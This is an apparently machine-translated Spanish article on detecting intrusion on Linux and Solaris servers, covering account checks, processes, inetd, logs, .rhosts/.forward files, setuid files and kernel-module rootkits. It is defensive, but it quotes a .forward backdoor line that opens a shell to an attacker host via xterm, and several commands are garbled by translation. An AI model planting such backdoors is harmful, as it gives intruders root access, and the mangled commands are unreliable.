Red de conocimiento informático - Aprendizaje de programación - Cómo determinar si el servidor ha sido invadido en Linux

Cómo determinar si el servidor ha sido invadido en Linux

1. Verifique el archivo de contraseña del sistema

Primero, comience desde el lugar obvio, verifique el archivo passwd y verifique la fecha de modificación del archivo a través de ls -l /etc/passwd.

Verifique los usuarios privilegiados en el archivo passwd. Se mostrará el usuario con uid 0 en el sistema.

1

awk -F:'$3==0?{imprimir?$1}?

Por cierto, comprueba nuevamente si no hay ninguna cuenta con la contraseña en blanco en el sistema:

1

awk -F: 'length($2)==0?{print?$1}'?/etc/shadow

2. Verifique el proceso para ver si hay algo extraño Proceso

Céntrese en los siguientes procesos: ps -aef | grep inetd

inetd es un proceso demonio en sistemas UNIX. Los pids normales de inetd son relativamente altos. entonces, si ve un resultado del proceso similar a inetd -s /tmp/.xxx, preste atención al contenido después de inetd -s. En circunstancias normales, no hay un parámetro -s después del servicio inetd en el sistema LINUX y, por supuesto, inetd no se utilizará para iniciar un determinado archivo en el sistema Solaris, solo hay inetd -s y no habrá inetd; se usa para iniciar un archivo determinado, si usa el comando ps para ver que inetd inicia un archivo determinado, pero no usa inetd para iniciar un archivo determinado, puede ver que inetd -s no se usa en el sistema LINUX. . Si usa el comando ps y ve que inetd inicia un archivo que no comenzó a usar inetd usted mismo, entonces alguien irrumpió en su sistema y configuró una puerta trasera simple con privilegios de root.

Ingrese ps -aef para ver el resultado, prestando especial atención a los procesos que comienzan con ./xxx. Una vez que encuentre un proceso diferente, verifique la puerta trasera dejada por el intruso, ejecute inmediatamente kill -9 pid para eliminar el proceso y luego ejecute ps -aef para ver si el proceso se ha eliminado una vez que aparezca dicho proceso; asesinado El fenómeno de reiniciar después de la muerte demuestra que el sistema se ha colocado en el programa de inicio automático del script. En este momento, puede observar atentamente: buscar / -nombre nombre del programa -imprimir Suponiendo que el intruso ha colocado una puerta trasera en el sistema, puede encontrar muchas cosas interesantes según el directorio donde se encuentra el programa.

Ocultar un proceso en UNIX a veces se logra reemplazando el archivo ps. Detectar este método requiere verificar la integridad del archivo, lo cual discutiremos más adelante.

El siguiente paso es rastrear gradualmente al intruso basándose en la búsqueda del directorio de archivos en el servidor.

3. Verifique el proceso del demonio del sistema

Verifique el archivo /etc/inetd.conf, escriba: cat /etc/inetd.conf | La salida será Los servicios remotos que habilitó en esta máquina.

En términos generales, un intruso puede crear una puerta trasera reemplazando directamente el programa in.xxx, por ejemplo, reemplazando in.telnetd con /bin/sh, y luego reiniciando el servicio inetd, de modo que todos los usuarios que telnet al servidor Se puede acceder directamente al rootshell del servidor sin tener que escribir un nombre de usuario y contraseña.

4. Verifique las conexiones de red y los puertos de escucha

Ingrese netstat -an para enumerar todas las conexiones y puertos de escucha en la computadora, y verifique si hay conexiones ilegales.

Ingrese netstat -rn para verificar si la configuración de enrutamiento y puerta de enlace de esta máquina es correcta.

Ingrese ifconfig -a para verificar la configuración de la tarjeta de red.

5. Verifique el registro del sistema

Comando último | más para ver el historial de todos los usuarios que inician sesión en la computadora en circunstancias normales. Sin embargo, el último comando depende del proceso syslog, que se ha convertido en un objetivo importante para los intrusos. Los intrusos generalmente detienen el syslog del sistema para verificar el estado del proceso del syslog del sistema y determinar si el último inicio del syslog fue normal, porque syslog se ejecuta como root. Si se descubre que el syslog fue tocado ilegalmente, significa que se trata de un evento de intrusión importante. ha ocurrido.

Escriba ls -al /var/log en Linux

Escriba ls -al /var/adm en Solaris

Compruebe wtmp utmp (incluido messgae) Esperando Que la integridad y el tiempo de modificación del archivo sean normales es una forma de eliminar manualmente los rastros de intrusión.

6. Verificar los archivos principales del sistema

Invadir el sistema mediante el envío de solicitudes mal formadas para atacar un determinado servicio en el servidor es un método de intrusión tradicional que se realiza a través de este. Completado de una manera. Este método tiene una cierta tasa de éxito, es decir, no puede garantizar el 100% de éxito al invadir el sistema. Generalmente genera un archivo central en el directorio correspondiente del servidor. Para buscar globalmente archivos principales en el sistema, escriba find / -name core -exec ls -l {}\; consulte el archivo principal para determinar si hay una intrusión.

7.rhosts y .forward

Estos son dos archivos de puerta trasera famosos. Si desea comprobar si su sistema ha sido instalado por un intruso, es posible que desee buscar estos dos archivos globalmente:

Buscar / -name " -name" -exec ls -l {}.\strong >find / -name ".rhosts" -print

find / -name ".forward " -print

Bajo el $HOME del usuario, un archivo .rhosts solo contiene dos El + sign es muy peligroso si el puerto 513 (puerto rlogin, que tiene la misma función que telnet) está abierto en su sistema, cualquiera puede iniciar sesión en su sistema usando este usuario sin ninguna autenticación.

Si desea servicios de refuerzo de seguridad en profundidad e implementación de seguridad, consulte aquí

Es necesario encontrar una empresa de seguridad de servidores profesional que se encargue de ello y NSFOCUS. Más profesional.

En Unix, ingresar comandos en el archivo .forward es un método común para recuperar el acceso al $HOME del usuario. El archivo .forward del usuario se puede configurar de la siguiente manera:

nombre de usuario|"/usr/local/xterm "es el nombre del servidor del usuario. X11/bin/xterm -disp hacksys.other.dom:0.0 -e /bin/sh"

Una variación de este método implica cambiar el archivo de alias para el correo del sistema (generalmente ubicado en /etc/aliases) Tenga en cuenta que esto es solo una conversión simple. Se puede lograr un enfoque más avanzado ejecutando un script simple en .forward que ejecute comandos arbitrarios en la entrada estándar (con un poco de preprocesamiento) que puede prevenir esto de manera efectiva (aunque pueden surgir problemas). surgen si los filtros de elm o los programas de tipo procmail pueden ejecutarse automáticamente. En Solaris, si ejecuta:

ln -s /var/mail/luser ~/.forward

Luego configure las vacaciones para que funcionen, luego /var/mail/luser se copiará al servidor.

luser se copiará a ~/.forward con "|/usr/bin/vacation me" agregado, y el antiguo enlace simbólico se moverá a ~/.forward.BACKUP.

También puedes eliminar estos dos archivos directamente.

8. Verificar la integridad de los archivos del sistema

Hay muchas formas de verificar la integridad de los archivos. Por lo general, consultamos y comparamos archivos escribiendo ls -l nombre de archivo. Pero si se reemplazan los archivos ls, el problema será aún mayor. En LINUX, puede usar rpm -V `rpm -qf filename` para consultar el archivo y juzgar si el archivo está completo en función de si el resultado de la consulta nacional es normal. Hay muchas formas de usar rpm para verificar la integridad de los archivos en LINUX. No entraré en detalles aquí. Puede obtener más formatos a través de man rpm.

En los sistemas UNIX, /bin/login a menudo es reemplazado por archivos de puerta trasera por parte de intrusos. Hablemos de puertas traseras de inicio de sesión:

En UNIX, el programa de inicio de sesión generalmente se usa mediante telnet para contraseña. -verificar usuarios. Un intruso podría obtener el código fuente del programa de inicio de sesión y modificarlo para comprobar si hay contraseñas de puerta trasera al comparar las contraseñas escritas y almacenadas. Si el usuario ingresa la contraseña de la puerta trasera, ignora la contraseña establecida por el administrador y le permite ingresar: esto permite al intruso acceder a cualquier cuenta, incluso al directorio raíz. Dado que la puerta trasera genera acceso antes de que el usuario inicie sesión e inicie sesión en utmp y wtmP, un intruso puede iniciar sesión y obtener un shell sin exponer la cuenta. Los administradores notarán esta puerta trasera y utilizarán el comando "cadenas" para buscar mensajes de texto en el programa de inicio de sesión. En muchos casos, las contraseñas de puerta trasera se ven comprometidas. Luego, el intruso procede a cifrar o cambiar la contraseña oculta, inutilizando el comando de cadena. Por lo tanto, muchos administradores utilizan sumas de comprobación MD5 para detectar dichas puertas traseras. En sistemas UNIX puede utilizar el comando md5sum. El formato de uso es el siguiente: md5sum -b lee un archivo binario; md5sum -c verifica a la inversa la firma MD5; md5sum -t lee un archivo de texto.

Después de mencionar los demonios anteriormente, las líneas no comentadas en el archivo de configuración del demonio inetd.conf deben compararse cuidadosamente. Para un ejemplo simple, si abre el servicio telnet, habrá una línea como esta en el archivo de configuración del demonio: telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd

Puede vea que usa El archivo es /usr/sbin/in.telnetd, verifique la integridad de este archivo, los intrusos a menudo crean puertas traseras reemplazando los archivos de servicio permitidos en el proceso del demonio, creando así una puerta trasera.

/etc/crontab en sistemas LINUX también es utilizado a menudo por intrusos. Para comprobar la integridad del archivo, puede directamente cat/etc/crontab y lea atentamente si el archivo ha sido utilizado por intrusos para otros. propósitos.

El método de utilizar un proceso para iniciar la puerta trasera sin reemplazar el inicio de sesión y otros archivos tiene la desventaja de que una vez que se reinicia el sistema, el proceso finalizará, por lo que la puerta trasera debe poder iniciarse cuando se inicie la puerta trasera. se reinicia el sistema. Esto generalmente se logra verificando los archivos en /etc/rc.d para ver si el sistema ha iniciado una puerta trasera. Este método es algo similar a buscar troyanos de Windows;

Hablando de eso, me gustaría mencionar que si encuentra un archivo en un directorio con los siguientes atributos: -rwsr-xr-x 1 raíz raíz xxx .sh, esto indica que cualquiera que ingrese y ejecuta Los usuarios de este archivo obtendrán un rootshell, que es el archivo setuid. Ejecute find -perm 4000 -print para buscar dichos archivos globalmente y luego elimínelos.

9. Compruebe si hay puertas traseras a nivel de kernel.

Por lo general, es repugnante que alguien instale una puerta trasera de este tipo en su sistema. A menudo me pregunto si es mejor reinstalar el sistema. .

Primero, verifique los módulos cargados por el sistema. Utilice el comando lsmod en sistemas LINUX y el comando modinfo en sistemas Solaris. Lo que hay que tener en cuenta aquí es que la instalación y carga predeterminada de los sistemas LINUX suele ser de menos módulos, generalmente el controlador de la tarjeta de red, mientras que en el sistema Solaris hay muchos módulos cargados y no hay otra forma de analizarlos uno por uno; uno. Después de endurecer el kernel, se debe prohibir la inserción o eliminación de módulos para proteger el sistema; de lo contrario, un intruso puede reemplazar las llamadas al sistema nuevamente. Podemos lograr lo anterior reemplazando create_module() y delete_module(). Además, si la llamada al sistema ha sido reemplazada por un intruso, el módulo del kernel debe protegerse lo antes posible. Si el sistema carga un módulo de puerta trasera pero no lo ve en la lista de módulos /proc/module, es posible que se haya utilizado una herramienta de piratas informáticos para eliminar el módulo cargado. El famoso kit de herramientas Knark tiene una herramienta para eliminar el módulo cargado. En este caso, debe observar más de cerca el directorio /proc y determinar los procesos ocultos y disfrazados según los archivos encontrados y su experiencia. El módulo de puerta trasera de Knark está ubicado en el directorio /proc/knark. Por supuesto, también es posible que el directorio esté oculto.